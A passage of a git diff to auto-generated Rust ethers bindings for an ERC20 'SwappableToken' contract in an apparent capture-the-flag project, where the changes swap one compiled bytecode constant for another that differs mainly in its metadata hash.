T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \xA7\xE6\xE64\xDA+\xE6\0\r{I\xD9U\xD9\x98\xBFK\x98B=\xB4\x17#i\xC1\r'\x85\xA8\xEE\xA4\xD3dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static SWAPPABLETOKEN_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \xCC\xF6k\xCA\x95\x03\x99fQ~\xA2\xFE$r\x12N\xE1\x12\xD6cXGdp\xBC\x96\x85\x90\xD2\xA6b\x93dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \xA7\xE6\xE64\xDA+\xE6\0\r{I\xD9U\xD9\x98\xBFK\x98B=\xB4\x17#i\xC1\r'\x85\xA8\xEE\xA4\xD3dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static SWAPPABLETOKEN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/swappable_token_two.rs b/ctf/src/abi/swappable_token_two.rs index 21b1adf..7853008 100644 --- a/ctf/src/abi/swappable_token_two.rs +++ b/ctf/src/abi/swappable_token_two.rs @@ -487,12 +487,12 @@ pub mod swappable_token_two { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\r\x188\x03\x80b\0\r\x18\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x02\"V[\x82\x82`\x03b\0\0D\x83\x82b\0\x03BV[P`\x04b\0\0S\x82\x82b\0\x03BV[PPPb\0\0h3\x82b\0\0\x92` \x1B` \x1CV[PP`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x93\x90\x93\x16\x92\x90\x92\x17\x90\x91UPb\0\x046V[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\0\xEDW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\x01\x91\x90b\0\x04\x0EV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0\x82`\x1F\x83\x01\x12b\0\x01\x85W`\0\x80\xFD[\x81Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x01\xA2Wb\0\x01\xA2b\0\x01]V[`@Q`\x1F\x83\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x82\x82\x11\x81\x83\x10\x17\x15b\0\x01\xCDWb\0\x01\xCDb\0\x01]V[\x81`@R\x83\x81R` \x92P\x86\x83\x85\x88\x01\x01\x11\x15b\0\x01\xEAW`\0\x80\xFD[`\0\x91P[\x83\x82\x10\x15b\0\x02\x0EW\x85\x82\x01\x83\x01Q\x81\x83\x01\x84\x01R\x90\x82\x01\x90b\0\x01\xEFV[`\0\x93\x81\x01\x90\x92\x01\x92\x90\x92R\x94\x93PPPPV[`\0\x80`\0\x80`\x80\x85\x87\x03\x12\x15b\0\x029W`\0\x80\xFD[\x84Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02QW`\0\x80\xFD[` \x86\x01Q\x90\x94P`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x02oW`\0\x80\xFD[b\0\x02}\x88\x83\x89\x01b\0\x01sV[\x94P`@\x87\x01Q\x91P\x80\x82\x11\x15b\0\x02\x94W`\0\x80\xFD[Pb\0\x02\xA3\x87\x82\x88\x01b\0\x01sV[``\x96\x90\x96\x01Q\x94\x97\x93\x96PPPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\xC9W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xEAWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01XW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x03\x19WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03:W\x82\x81U`\x01\x01b\0\x03%V[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03^Wb\0\x03^b\0\x01]V[b\0\x03v\x81b\0\x03o\x84Tb\0\x02\xB4V[\x84b\0\x02\xF0V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03\xAEW`\0\x84\x15b\0\x03\x95WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03:V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xDFW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\xBEV[P\x85\x82\x10\x15b\0\x03\xFEW\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[\x80\x82\x01\x80\x82\x11\x15b\0\x040WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[a\x08\xD2\x80b\0\x04F`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \x01\x82\xEB\xA0\xA0\xF7\xF4\xE4\xD9\xF2P\xB1\xFAlX\xE2\xCE\x02\xA1p\xAD\xBB\xCE\xA9\"\xA3\xAC\xF0\xC1\x04\xD6\x1BdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\r\x188\x03\x80b\0\r\x18\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x02\"V[\x82\x82`\x03b\0\0D\x83\x82b\0\x03BV[P`\x04b\0\0S\x82\x82b\0\x03BV[PPPb\0\0h3\x82b\0\0\x92` \x1B` \x1CV[PP`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x93\x90\x93\x16\x92\x90\x92\x17\x90\x91UPb\0\x046V[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\0\xEDW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\x01\x91\x90b\0\x04\x0EV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 